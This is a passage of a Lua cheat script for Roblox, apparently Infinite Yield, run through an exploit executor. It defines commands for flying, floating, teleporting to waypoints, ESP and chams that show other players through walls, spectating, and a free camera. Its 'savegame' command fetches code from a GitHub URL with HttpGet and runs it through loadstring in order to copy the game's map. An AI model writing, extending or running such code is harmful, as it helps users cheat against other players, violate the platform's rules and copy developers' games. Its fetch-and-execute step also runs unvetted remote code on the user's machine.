  5663. if not vfly then
  5664. Players.LocalPlayer.Character:FindFirstChildOfClass('Humanoid').PlatformStand = true
  5665. end
  5666. if CONTROL.L + CONTROL.R ~= 0 or CONTROL.F + CONTROL.B ~= 0 or CONTROL.Q + CONTROL.E ~= 0 then
  5667. SPEED = 50
  5668. elseif not (CONTROL.L + CONTROL.R ~= 0 or CONTROL.F + CONTROL.B ~= 0 or CONTROL.Q + CONTROL.E ~= 0) and SPEED ~= 0 then
  5669. SPEED = 0
  5670. end
  5671. if (CONTROL.L + CONTROL.R) ~= 0 or (CONTROL.F + CONTROL.B) ~= 0 or (CONTROL.Q + CONTROL.E) ~= 0 then
  5672. BV.velocity = ((workspace.CurrentCamera.CoordinateFrame.lookVector * (CONTROL.F + CONTROL.B)) + ((workspace.CurrentCamera.CoordinateFrame * CFrame.new(CONTROL.L + CONTROL.R, (CONTROL.F + CONTROL.B + CONTROL.Q + CONTROL.E) * 0.2, 0).p) - workspace.CurrentCamera.CoordinateFrame.p)) * SPEED
  5673. lCONTROL = {F = CONTROL.F, B = CONTROL.B, L = CONTROL.L, R = CONTROL.R}
  5674. elseif (CONTROL.L + CONTROL.R) == 0 and (CONTROL.F + CONTROL.B) == 0 and (CONTROL.Q + CONTROL.E) == 0 and SPEED ~= 0 then
  5675. BV.velocity = ((workspace.CurrentCamera.CoordinateFrame.lookVector * (lCONTROL.F + lCONTROL.B)) + ((workspace.CurrentCamera.CoordinateFrame * CFrame.new(lCONTROL.L + lCONTROL.R, (lCONTROL.F + lCONTROL.B + CONTROL.Q + CONTROL.E) * 0.2, 0).p) - workspace.CurrentCamera.CoordinateFrame.p)) * SPEED
  5676. else
  5677. BV.velocity = Vector3.new(0, 0, 0)
  5678. end
  5679. BG.cframe = workspace.CurrentCamera.CoordinateFrame
  5680. until not FLYING
  5681. CONTROL = {F = 0, B = 0, L = 0, R = 0, Q = 0, E = 0}
  5682. lCONTROL = {F = 0, B = 0, L = 0, R = 0, Q = 0, E = 0}
  5683. SPEED = 0
  5684. BG:destroy()
  5685. BV:destroy()
  5686. Players.LocalPlayer.Character:FindFirstChildOfClass('Humanoid').PlatformStand = false
  5687. end)
  5688. end
  5689. IYMouse.KeyDown:connect(function(KEY)
  5690. if KEY:lower() == 'w' then
  5691. if vfly then
  5692. CONTROL.F = vehicleflyspeed
  5693. else
  5694. CONTROL.F = iyflyspeed
  5695. end
  5696. elseif KEY:lower() == 's' then
  5697. if vfly then
  5698. CONTROL.B = - vehicleflyspeed
  5699. else
  5700. CONTROL.B = - iyflyspeed
  5701. end
  5702. elseif KEY:lower() == 'a' then
  5703. if vfly then
  5704. CONTROL.L = - vehicleflyspeed
  5705. else
  5706. CONTROL.L = - iyflyspeed
  5707. end
  5708. elseif KEY:lower() == 'd' then
  5709. if vfly then
  5710. CONTROL.R = vehicleflyspeed
  5711. else
  5712. CONTROL.R = iyflyspeed
  5713. end
  5714. elseif KEY:lower() == 'e' then
  5715. if vfly then
  5716. CONTROL.Q = vehicleflyspeed*2
  5717. else
  5718. CONTROL.Q = iyflyspeed*2
  5719. end
  5720. elseif KEY:lower() == 'q' then
  5721. if vfly then
  5722. CONTROL.E = -vehicleflyspeed*2
  5723. else
  5724. CONTROL.E = -iyflyspeed*2
  5725. end
  5726. end
  5727. end)
  5728. IYMouse.KeyUp:connect(function(KEY)
  5729. if KEY:lower() == 'w' then
  5730. CONTROL.F = 0
  5731. elseif KEY:lower() == 's' then
  5732. CONTROL.B = 0
  5733. elseif KEY:lower() == 'a' then
  5734. CONTROL.L = 0
  5735. elseif KEY:lower() == 'd' then
  5736. CONTROL.R = 0
  5737. elseif KEY:lower() == 'e' then
  5738. CONTROL.Q = 0
  5739. elseif KEY:lower() == 'q' then
  5740. CONTROL.E = 0
  5741. end
  5742. end)
  5743. FLY()
  5744. end
  5745.  
  5746. function NOFLY()
  5747. FLYING = false
  5748. Players.LocalPlayer.Character:FindFirstChildOfClass('Humanoid').PlatformStand = false
  5749. end
  5750.  
  5751. addcmd('fly',{},
  5752. function(args, speaker)
  5753. NOFLY()
  5754. wait()
  5755. sFLY()
  5756. end)
  5757.  
  5758. addcmd('flyspeed',{'flysp'},
  5759. function(args, speaker)
  5760. if isNumber(args[1]) then
  5761. iyflyspeed = args[1]
  5762. end
  5763. end)
  5764.  
  5765. addcmd('unfly',{'nofly','novfly','unvehiclefly','novehiclefly','unvfly'},
  5766. function(args, speaker)
  5767. NOFLY()
  5768. end)
  5769.  
  5770. addcmd('vfly',{'vehiclefly'},
  5771. function(args, speaker)
  5772. NOFLY()
  5773. wait()
  5774. sFLY(true)
  5775. end)
  5776.  
  5777. addcmd('vflyspeed',{'vflysp','vehicleflyspeed','vehicleflysp'},
  5778. function(args, speaker)
  5779. if isNumber(args[1]) then
  5780. vehicleflyspeed = args[1]
  5781. end
  5782. end)
  5783.  
  5784. addcmd('togglefly',{},
  5785. function(args, speaker)
  5786. if FLYING then
  5787. NOFLY()
  5788. else
  5789. sFLY()
  5790. end
  5791. end)
  5792.  
  5793. Floating = false
  5794. addcmd('float', {'platform'},
  5795. function(args, speaker)
  5796. Floating = true
  5797. local pchar = speaker.Character
  5798. if pchar and not pchar:FindFirstChild("Float") then
  5799. spawn(function()
  5800. local Float = Instance.new('Part', pchar)
  5801. Float.Name = 'Float'
  5802. Float.Transparency = 1
  5803. Float.Size = Vector3.new(6,1,6)
  5804. Float.Anchored = true
  5805. local FloatValue = -3.5
  5806. if r15(speaker) then FloatValue = -3.65 end
  5807. Float.CFrame = pchar.HumanoidRootPart.CFrame * CFrame.new(0,FloatValue,0)
  5808. notify('Float','Float Enabled (Q = down & E = up)')
  5809. qUp = IYMouse.KeyUp:connect(function(KEY)
  5810. if KEY == 'q' then
  5811. FloatValue = FloatValue + 0.5
  5812. end
  5813. end)
  5814. eUp = IYMouse.KeyUp:connect(function(KEY)
  5815. if KEY == 'e' then
  5816. FloatValue = FloatValue - 0.5
  5817. end
  5818. end)
  5819. qDown = IYMouse.KeyDown:connect(function(KEY)
  5820. if KEY == 'q' then
  5821. FloatValue = FloatValue - 0.5
  5822. end
  5823. end)
  5824. eDown = IYMouse.KeyDown:connect(function(KEY)
  5825. if KEY == 'e' then
  5826. FloatValue = FloatValue + 0.5
  5827. end
  5828. end)
  5829. floatDied = speaker.Character:FindFirstChildOfClass'Humanoid'.Died:Connect(function()
  5830. FloatingFunc:Disconnect()
  5831. Float:Destroy()
  5832. qUp:Disconnect()
  5833. eUp:Disconnect()
  5834. qDown:Disconnect()
  5835. eDown:Disconnect()
  5836. floatDied:Disconnect()
  5837. end)
  5838. local function FloatPadLoop()
  5839. if pchar:FindFirstChild("Float") and pchar:FindFirstChild("HumanoidRootPart") then
  5840. Float.CFrame = pchar.HumanoidRootPart.CFrame * CFrame.new(0,FloatValue,0)
  5841. else
  5842. FloatingFunc:Disconnect()
  5843. Float:Destroy()
  5844. qUp:Disconnect()
  5845. eUp:Disconnect()
  5846. qDown:Disconnect()
  5847. eDown:Disconnect()
  5848. floatDied:Disconnect()
  5849. end
  5850. end
  5851. FloatingFunc = game:GetService('RunService').RenderStepped:connect(FloatPadLoop)
  5852. end)
  5853. end
  5854. end)
  5855.  
  5856. addcmd('unfloat',{'nofloat','unplatform','noplatform'},
  5857. function(args, speaker)
  5858. Floating = false
  5859. local pchar = speaker.Character
  5860. notify('Float','Float Disabled')
  5861. if pchar:FindFirstChild("Float") then
  5862. pchar.Float:Destroy()
  5863. end
  5864. if floatDied then
  5865. FloatingFunc:Disconnect()
  5866. qUp:Disconnect()
  5867. eUp:Disconnect()
  5868. qDown:Disconnect()
  5869. eDown:Disconnect()
  5870. floatDied:Disconnect()
  5871. end
  5872. end)
  5873.  
  5874. addcmd('togglefloat',{},
  5875. function(args, speaker)
  5876. if Floating then
  5877. execCmd('unfloat')
  5878. else
  5879. execCmd('float')
  5880. end
  5881. end)
  5882.  
  5883. swimming = false
  5884. addcmd('swim',{},
  5885. function(args, speaker)
  5886. workspace.Gravity = 0
  5887. local function swimDied()
  5888. workspace.Gravity = 198.2
  5889. swimming = false
  5890. end
  5891. gravReset = speaker.Character:FindFirstChildOfClass('Humanoid').Died:connect(swimDied)
  5892. speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Climbing,false)
  5893. speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.FallingDown,false)
  5894. speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Flying,false)
  5895. speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Freefall,false)
  5896. speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.GettingUp,false)
  5897. speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Jumping,false)
  5898. speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Landed,false)
  5899. speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Physics,false)
  5900. speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.PlatformStanding,false)
  5901. speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Ragdoll,false)
  5902. speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Running,false)
  5903. speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.RunningNoPhysics,false)
  5904. speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated,false)
  5905. speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.StrafingNoPhysics,false)
  5906. speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Swimming,false)
  5907. speaker.Character.Humanoid:ChangeState(Enum.HumanoidStateType.Swimming)
  5908. swimming = true
  5909. end)
  5910.  
  5911. addcmd('unswim',{'noswim'},
  5912. function(args, speaker)
  5913. workspace.Gravity = 198.2
  5914. swimming = false
  5915. if gravReset then
  5916. gravReset:Disconnect()
  5917. end
  5918. speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Climbing,true)
  5919. speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.FallingDown,true)
  5920. speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Flying,true)
  5921. speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Freefall,true)
  5922. speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.GettingUp,true)
  5923. speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Jumping,true)
  5924. speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Landed,true)
  5925. speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Physics,true)
  5926. speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.PlatformStanding,true)
  5927. speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Ragdoll,true)
  5928. speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Running,true)
  5929. speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.RunningNoPhysics,true)
  5930. speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated,true)
  5931. speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.StrafingNoPhysics,true)
  5932. speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Swimming,true)
  5933. speaker.Character.Humanoid:ChangeState(Enum.HumanoidStateType.RunningNoPhysics)
  5934. end)
  5935.  
  5936. addcmd('toggleswim',{},
  5937. function(args, speaker)
  5938. if swimming then
  5939. execCmd('unswim')
  5940. else
  5941. execCmd('swim')
  5942. end
  5943. end)
  5944.  
  5945. addcmd('setwaypoint',{'swp','spos','saveposition','savepos'},
  5946. function(args, speaker)
  5947. local WPName = tostring(getstring(1))
  5948. if speaker.Character:findFirstChild("HumanoidRootPart") then
  5949. notify('Modified Waypoints',"Created waypoint: "..getstring(1))
  5950. local torso = speaker.Character:findFirstChild("HumanoidRootPart")
  5951. WayPoints[#WayPoints + 1] = {NAME = WPName, COORD = {math.floor(torso.Position.X), math.floor(torso.Position.Y), math.floor(torso.Position.Z)}, GAME = game.PlaceId}
  5952. if AllWaypoints ~= nil then
  5953. AllWaypoints[#AllWaypoints + 1] = {NAME = WPName, COORD = {math.floor(torso.Position.X), math.floor(torso.Position.Y), math.floor(torso.Position.Z)}, GAME = game.PlaceId}
  5954. end
  5955. end
  5956. refreshwaypoints()
  5957. updatesaves()
  5958. end)
  5959.  
  5960. addcmd('waypointpos',{'wpp','setwaypointposition','setpos','setwaypoint','setwaypointpos'},
  5961. function(args, speaker)
  5962. local WPName = tostring(getstring(1))
  5963. if speaker.Character:findFirstChild("HumanoidRootPart") then
  5964. notify('Modified Waypoints',"Created waypoint: "..getstring(1))
  5965. WayPoints[#WayPoints + 1] = {NAME = WPName, COORD = {args[2], args[3], args[4]}, GAME = game.PlaceId}
  5966. if AllWaypoints ~= nil then
  5967. AllWaypoints[#AllWaypoints + 1] = {NAME = WPName, COORD = {args[2], args[3], args[4]}, GAME = game.PlaceId}
  5968. end
  5969. end
  5970. refreshwaypoints()
  5971. updatesaves()
  5972. end)
  5973.  
  5974. addcmd('waypoint',{'wp','lpos','loadposition','loadpos'},
  5975. function(args, speaker)
  5976. local WPName = tostring(getstring(1))
  5977. if speaker.Character then
  5978. for i,_ in pairs(WayPoints) do
  5979. local x = WayPoints[i].COORD[1]
  5980. local y = WayPoints[i].COORD[2]
  5981. local z = WayPoints[i].COORD[3]
  5982. if tostring(WayPoints[i].NAME):lower() == tostring(WPName):lower() then
  5983. speaker.Character.HumanoidRootPart.CFrame = CFrame.new(x,y,z)
  5984. end
  5985. end
  5986. for i,_ in pairs(pWayPoints) do
  5987. if tostring(pWayPoints[i].NAME):lower() == tostring(WPName):lower() then
  5988. speaker.Character.HumanoidRootPart.CFrame = CFrame.new(pWayPoints[i].COORD[1].Position)
  5989. end
  5990. end
  5991. end
  5992. end)
  5993.  
  5994. addcmd('deletewaypoint',{'dwp','dpos','deleteposition','deletepos'},
  5995. function(args, speaker)
  5996. for i,v in pairs(WayPoints) do
  5997. if v.NAME:lower() == tostring(getstring(1)):lower() then
  5998. notify('Modified Waypoints',"Deleted waypoint: " .. v.NAME)
  5999. table.remove(WayPoints, i)
  6000. end
  6001. end
  6002. if AllWaypoints ~= nil and #AllWaypoints > 0 then
  6003. for i,v in pairs(AllWaypoints) do
  6004. if v.NAME:lower() == tostring(getstring(1)):lower() then
  6005. if not v.GAME or v.GAME == game.PlaceId then
  6006. table.remove(AllWaypoints, i)
  6007. end
  6008. end
  6009. end
  6010. end
  6011. for i,v in pairs(pWayPoints) do
  6012. if v.NAME:lower() == tostring(getstring(1)):lower() then
  6013. notify('Modified Waypoints',"Deleted waypoint: " .. v.NAME)
  6014. table.remove(pWayPoints, i)
  6015. end
  6016. end
  6017. refreshwaypoints()
  6018. updatesaves()
  6019. end)
  6020.  
  6021. addcmd('clearwaypoints',{'cwp','clearpositions','cpos','clearpos'},
  6022. function(args, speaker)
  6023. WayPoints = {}
  6024. pWayPoints = {}
  6025. refreshwaypoints()
  6026. updatesaves()
  6027. AllWaypoints = {}
  6028. notify('Modified Waypoints','Removed all waypoints')
  6029. end)
  6030.  
  6031. addcmd('enable',{},
  6032. function(args, speaker)
  6033. if args[1]:lower() == 'inventory' or args[1]:lower() == 'backpack' then
  6034. game:GetService("StarterGui"):SetCoreGuiEnabled('Backpack', true)
  6035. elseif args[1]:lower() == 'playerlist' then
  6036. game:GetService("StarterGui"):SetCoreGuiEnabled('PlayerList', true)
  6037. elseif args[1]:lower() == 'chat' then
  6038. game:GetService("StarterGui"):SetCoreGuiEnabled('Chat', true)
  6039. elseif args[1]:lower() == 'all' then
  6040. game:GetService("StarterGui"):SetCoreGuiEnabled(Enum.CoreGuiType.All, true)
  6041. end
  6042. end)
  6043.  
  6044. addcmd('disable',{},
  6045. function(args, speaker)
  6046. if args[1]:lower() == 'inventory' or args[1]:lower() == 'backpack' then
  6047. game:GetService("StarterGui"):SetCoreGuiEnabled('Backpack', false)
  6048. elseif args[1]:lower() == 'playerlist' then
  6049. game:GetService("StarterGui"):SetCoreGuiEnabled('PlayerList', false)
  6050. elseif args[1]:lower() == 'chat' then
  6051. game:GetService("StarterGui"):SetCoreGuiEnabled('Chat', false)
  6052. elseif args[1]:lower() == 'all' then
  6053. game:GetService("StarterGui"):SetCoreGuiEnabled(Enum.CoreGuiType.All, false)
  6054. end
  6055. end)
  6056.  
  6057. invisGUIS = {}
  6058. addcmd('showguis',{},
  6059. function(args, speaker)
  6060. for i,v in pairs(speaker:FindFirstChildWhichIsA("PlayerGui"):GetDescendants()) do
  6061. if v:IsA("Frame") or v:IsA("ImageLabel") or v:IsA("ScrollingFrame") and not v.Visible then
  6062. v.Visible = true
  6063. if not FindInTable(invisGUIS,v) then
  6064. table.insert(invisGUIS,v)
  6065. end
  6066. end
  6067. end
  6068. end)
  6069.  
  6070. addcmd('unshowguis',{},
  6071. function(args, speaker)
  6072. for i,v in pairs(invisGUIS) do
  6073. v.Visible = false
  6074. end
  6075. invisGUIS = {}
  6076. end)
  6077.  
  6078. hiddenGUIS = {}
  6079. addcmd('hideguis',{},
  6080. function(args, speaker)
  6081. for i,v in pairs(speaker:FindFirstChildWhichIsA("PlayerGui"):GetDescendants()) do
  6082. if v:IsA("Frame") or v:IsA("ImageLabel") or v:IsA("ScrollingFrame") and v.Visible then
  6083. v.Visible = false
  6084. if not FindInTable(hiddenGUIS,v) then
  6085. table.insert(hiddenGUIS,v)
  6086. end
  6087. end
  6088. end
  6089. end)
  6090.  
  6091. addcmd('unhideguis',{},
  6092. function(args, speaker)
  6093. for i,v in pairs(hiddenGUIS) do
  6094. v.Visible = true
  6095. end
  6096. hiddenGUIS = {}
  6097. end)
  6098.  
  6099. addcmd('savegame',{'saveplace'},
  6100. function(args, speaker)
  6101. if syn_checkcaller then
  6102. notify("Loading","Fetching Moon's SaveInstance")
  6103. loadstring(game:HttpGet('https://raw.githubusercontent.com/EdgeIY/saveinstance/master/source'))()
  6104. repeat wait() until saveplace
  6105. notify("Loading","Downloading game. This will take a while")
  6106. local placeName = tostring(game.PlaceId).." Map"
  6107. saveplace(tostring(game.PlaceId).." Map")
  6108. wait(1)
  6109. notify('Game Saved','Saved place to the workspace folder within your exploit folder.')
  6110. elseif saveinstance then
  6111. notify("Loading","Downloading game. This will take a while")
  6112. saveinstance()
  6113. notify('Game Saved','Saved place to the workspace folder within your exploit folder.')
  6114. else
  6115. notify('Incompatible Exploit','Your exploit does not support this command (missing saveinstance)')
  6116. end
  6117. end)
  6118.  
  6119.  
  6120. addcmd('clearerror',{'clearerrors'},
  6121. function(args, speaker)
  6122. game:GetService("GuiService"):ClearError()
  6123. end)
  6124.  
  6125. addcmd('esp',{},
  6126. function(args, speaker)
  6127. if not CHMSenabled then
  6128. ESPenabled = true
  6129. for i,v in pairs(Players:GetChildren()) do
  6130. if v.ClassName == "Player" and v.Name ~= speaker.Name then
  6131. ESP(v)
  6132. end
  6133. end
  6134. else
  6135. notify('ESP','Disable chams (nochams) before using esp')
  6136. end
  6137. end)
  6138.  
  6139. addcmd('noesp',{'unesp'},
  6140. function(args, speaker)
  6141. ESPenabled = false
  6142. for i,v in pairs(Players:GetChildren()) do
  6143. local espplr = v
  6144. for i,c in pairs(PARENT:GetChildren()) do
  6145. if c.Name == espplr.Name..'_ESP' then
  6146. c:Destroy()
  6147. end
  6148. end
  6149. end
  6150. end)
  6151.  
  6152. partEspTrigger = nil
  6153. function partAdded(part)
  6154. if #espParts > 0 then
  6155. if FindInTable(espParts,part.Name:lower()) then
  6156. local a = Instance.new("BoxHandleAdornment", part)
  6157. a.Name = part.Name:lower().."_PESP"
  6158. a.Adornee = part
  6159. a.AlwaysOnTop = true
  6160. a.ZIndex = 0
  6161. a.Size = part.Size
  6162. a.Transparency = 0.3
  6163. a.Color = BrickColor.new("Lime green")
  6164. end
  6165. else
  6166. partEspTrigger:Disconnect()
  6167. partEspTrigger = nil
  6168. end
  6169. end
  6170.  
  6171. espParts = {}
  6172. addcmd('partesp',{},
  6173. function(args, speaker)
  6174. local partEspName = getstring(1):lower()
  6175. if not FindInTable(espParts,partEspName) then print('Added to table!!')
  6176. table.insert(espParts,partEspName)
  6177. for i,v in pairs(workspace:GetDescendants()) do
  6178. if v:IsA("BasePart") and v.Name:lower() == partEspName then
  6179. local a = Instance.new("BoxHandleAdornment", v)
  6180. a.Name = partEspName.."_PESP"
  6181. a.Adornee = v
  6182. a.AlwaysOnTop = true
  6183. a.ZIndex = 0
  6184. a.Size = v.Size
  6185. a.Transparency = 0.3
  6186. a.Color = BrickColor.new("Lime green")
  6187. end
  6188. end
  6189. end
  6190. if partEspTrigger == nil then
  6191. partEspTrigger = workspace.DescendantAdded:Connect(partAdded)
  6192. end
  6193. end)
  6194.  
  6195. addcmd('unpartesp',{'nopartesp'},
  6196. function(args, speaker)
  6197. if args[1] then
  6198. local partEspName = getstring(1):lower()
  6199. if FindInTable(espParts,partEspName) then
  6200. table.remove(espParts, GetInTable(espParts, partEspName))
  6201. end
  6202. for i,v in pairs(workspace:GetDescendants()) do
  6203. if v:IsA("BoxHandleAdornment") and v.Name == partEspName..'_PESP' then
  6204. v:Destroy()
  6205. end
  6206. end
  6207. else
  6208. partEspTrigger:Disconnect()
  6209. partEspTrigger = nil
  6210. espParts = {}
  6211. for i,v in pairs(workspace:GetDescendants()) do
  6212. if v:IsA("BoxHandleAdornment") and v.Name:sub(-5) == '_PESP' then
  6213. v:Destroy()
  6214. end
  6215. end
  6216. end
  6217. end)
  6218.  
  6219. addcmd('chams',{},
  6220. function(args, speaker)
  6221. if not ESPenabled then
  6222. CHMSenabled = true
  6223. for i,v in pairs(Players:GetChildren()) do
  6224. if v.ClassName == "Player" and v.Name ~= speaker.Name then
  6225. CHMS(v)
  6226. end
  6227. end
  6228. else
  6229. notify('Chams','Disable ESP (noesp) before using chams')
  6230. end
  6231. end)
  6232.  
  6233. addcmd('nochams',{'unchams'},
  6234. function(args, speaker)
  6235. CHMSenabled = false
  6236. for i,v in pairs(Players:GetChildren()) do
  6237. local chmsplr = v
  6238. for i,c in pairs(PARENT:GetChildren()) do
  6239. if c.Name == chmsplr.Name..'_CHMS' then
  6240. c:Destroy()
  6241. end
  6242. end
  6243. end
  6244. end)
  6245.  
  6246. addcmd('locate',{},
  6247. function(args, speaker)
  6248. local players = getPlayer(args[1], speaker)
  6249. for i,v in pairs(players) do
  6250. Locate(Players[v])
  6251. end
  6252. end)
  6253.  
  6254. addcmd('nolocate',{'unlocate'},
  6255. function(args, speaker)
  6256. local players = getPlayer(args[1], speaker)
  6257. for i,v in pairs(players) do
  6258. for i,c in pairs(PARENT:GetChildren()) do
  6259. if c.Name == Players[v].Name..'_LC' then
  6260. c:Destroy()
  6261. end
  6262. end
  6263. end
  6264. end)
  6265.  
  6266. viewing = nil
  6267. addcmd('view',{'spectate'},
  6268. function(args, speaker)
  6269. local players = getPlayer(args[1], speaker)
  6270. for i,v in pairs(players) do
  6271. if viewDied then
  6272. viewDied:Disconnect()
  6273. end
  6274. workspace.CurrentCamera.CameraSubject = Players[v].Character
  6275. viewing = Players[v]
  6276. notify('Spectate','Viewing ' .. Players[v].Name)
  6277. local function viewDiedFunc()
  6278. viewDied = Players[v].CharacterAdded:Connect(function()
  6279. repeat wait() until Players[v].Character ~= nil and Players[v].Character:FindFirstChild('HumanoidRootPart')
  6280. workspace.CurrentCamera.CameraSubject = Players[v].Character
  6281. viewDied:Disconnect()
  6282. viewDiedFunc()
  6283. end)
  6284. end
  6285. viewDiedFunc()
  6286. end
  6287. end)
  6288.  
  6289. addcmd('unview',{'unspectate'},
  6290. function(args, speaker)
  6291. workspace.CurrentCamera.CameraSubject = speaker.Character
  6292. viewing = nil
  6293. if viewDied then
  6294. viewDied:Disconnect()
  6295. end
  6296. notify('Spectate','View turned off')
  6297. end)
  6298.  
  6299. fcLoaded = false
  6300. addcmd('freecam',{'fc'},
  6301. function(args, speaker)
  6302. if fcLoaded == false then
  6303. fcLoaded = true
  6304. local Camera = workspace.CurrentCamera
  6305. workspace:GetPropertyChangedSignal("CurrentCamera"):Connect(function()
  6306. local newCamera = workspace.CurrentCamera
  6307. if newCamera then
  6308. Camera = newCamera
  6309. end
  6310. end)
  6311.  
  6312. local INPUT_PRIORITY = Enum.ContextActionPriority.High.Value
  6313.  
  6314. Spring = {} do
  6315. Spring.__index = Spring
  6316.  
  6317. function Spring.new(freq, pos)
  6318. local self = setmetatable({}, Spring)
  6319. self.f = freq
  6320. self.p = pos
  6321. self.v = pos*0
  6322. return self
  6323. end
  6324.  
  6325. function Spring:Update(dt, goal)
  6326. local f = self.f*2*math.pi
  6327. local p0 = self.p
  6328. local v0 = self.v
  6329.  
  6330. local offset = goal - p0
  6331. local decay = math.exp(-f*dt)
  6332.  
  6333. local p1 = goal + (v0*dt - offset*(f*dt + 1))*decay
  6334. local v1 = (f*dt*(offset*f - v0) + v0)*decay
  6335.  
  6336. self.p = p1
  6337. self.v = v1
  6338.  
  6339. return p1
  6340. end
  6341.  
  6342. function Spring:Reset(pos)
  6343. self.p = pos
  6344. self.v = pos*0
  6345. end
  6346. end
  6347.  
  6348. cameraPos = Vector3.new()
  6349. cameraRot = Vector2.new()
  6350.  
  6351. velSpring = Spring.new(5, Vector3.new())
  6352. panSpring = Spring.new(5, Vector2.new())
  6353.  
  6354. Input = {} do
  6355.  
  6356. keyboard = {
  6357. W = 0,
  6358. A = 0,
  6359. S = 0,
  6360. D = 0,
  6361. E = 0,
  6362. Q = 0,
  6363. Up = 0,
  6364. Down = 0,
  6365. LeftShift = 0,
  6366. }
  6367.  
  6368. mouse = {
  6369. Delta = Vector2.new(),
  6370. }
  6371.  
  6372. NAV_KEYBOARD_SPEED = Vector3.new(1, 1, 1)
  6373. PAN_MOUSE_SPEED = Vector2.new(1, 1)*(math.pi/64)
  6374. NAV_ADJ_SPEED = 0.75
  6375. NAV_SHIFT_MUL = 0.25
  6376.  
  6377. navSpeed = 1
  6378.  
  6379. function Input.Vel(dt)
  6380. navSpeed = math.clamp(navSpeed + dt*(keyboard.Up - keyboard.Down)*NAV_ADJ_SPEED, 0.01, 4)
  6381.  
  6382. kKeyboard = Vector3.new(
  6383. keyboard.D - keyboard.A,
  6384. keyboard.E - keyboard.Q,
  6385. keyboard.S - keyboard.W
  6386. )*NAV_KEYBOARD_SPEED
  6387.  
  6388. shift = UserInputService:IsKeyDown(Enum.KeyCode.LeftShift)
  6389.  
  6390. return (kKeyboard)*(navSpeed*(shift and NAV_SHIFT_MUL or 1))
  6391. end
  6392.  
  6393. function Input.Pan(dt)
  6394. kMouse = mouse.Delta*PAN_MOUSE_SPEED
  6395. mouse.Delta = Vector2.new()
  6396. return kMouse
  6397. end
  6398.  
  6399. do
  6400. function Keypress(action, state, input)
  6401. keyboard[input.KeyCode.Name] = state == Enum.UserInputState.Begin and 1 or 0
  6402. return Enum.ContextActionResult.Sink
  6403. end
  6404.  
  6405. function MousePan(action, state, input)
  6406. delta = input.Delta
  6407. mouse.Delta = Vector2.new(-delta.y, -delta.x)
  6408. return Enum.ContextActionResult.Sink
  6409. end
  6410.  
  6411. function Zero(t)
  6412. for k, v in pairs(t) do
  6413. t[k] = v*0
  6414. end
  6415. end
  6416.  
  6417. function Input.StartCapture()
  6418. game:GetService("ContextActionService"):BindActionAtPriority("FreecamKeyboard", Keypress, false, INPUT_PRIORITY,
  6419. Enum.KeyCode.W,
  6420. Enum.KeyCode.A,
  6421. Enum.KeyCode.S,
  6422. Enum.KeyCode.D,
  6423. Enum.KeyCode.E,
  6424. Enum.KeyCode.Q,
  6425. Enum.KeyCode.Up,
  6426. Enum.KeyCode.Down
  6427. )
  6428. game:GetService("ContextActionService"):BindActionAtPriority("FreecamMousePan", MousePan, false, INPUT_PRIORITY, Enum.UserInputType.MouseMovement)
  6429. end
  6430.  
  6431. function Input.StopCapture()
  6432. navSpeed = 1
  6433. Zero(keyboard)
  6434. Zero(mouse)
  6435. game:GetService("ContextActionService"):UnbindAction("FreecamKeyboard")
  6436. game:GetService("ContextActionService"):UnbindAction("FreecamMousePan")
  6437. end
  6438. end
  6439. end
  6440.  
  6441. function GetFocusDistance(cameraFrame)
  6442. local znear = 0.1
  6443. local viewport = Camera.ViewportSize
  6444. local projy = 2*math.tan(cameraFov/2)
  6445. local projx = viewport.x/viewport.y*projy
  6446. local fx = cameraFrame.rightVector
  6447. local fy = cameraFrame.upVector
  6448. local fz = cameraFrame.lookVector
  6449.  
  6450. local minVect = Vector3.new()
  6451. local minDist = 512
  6452.  
  6453. for x = 0, 1, 0.5 do
  6454. for y = 0, 1, 0.5 do
  6455. local cx = (x - 0.5)*projx
  6456. local cy = (y - 0.5)*projy
  6457. local offset = fx*cx - fy*cy + fz
  6458. local origin = cameraFrame.p + offset*znear
  6459. local _, hit = workspace:FindPartOnRay(Ray.new(origin, offset.unit*minDist))
  6460. local dist = (hit - origin).magnitude
  6461. if minDist > dist then
  6462. minDist = dist
  6463. minVect = offset.unit
  6464. end
  6465. end
  6466. end
  6467.  
  6468. return fz:Dot(minVect)*minDist
  6469. end
  6470.  
  6471. local function StepFreecam(dt)
  6472. local vel = velSpring:Update(dt, Input.Vel(dt))
  6473. local pan = panSpring:Update(dt, Input.Pan(dt))
  6474.  
  6475. local zoomFactor = math.sqrt(math.tan(math.rad(70/2))/math.tan(math.rad(cameraFov/2)))
  6476.  
  6477. cameraRot = cameraRot + pan*Vector2.new(0.75, 1)*8*(dt/zoomFactor)
  6478. cameraRot = Vector2.new(math.clamp(cameraRot.x, -math.rad(90), math.rad(90)), cameraRot.y%(2*math.pi))
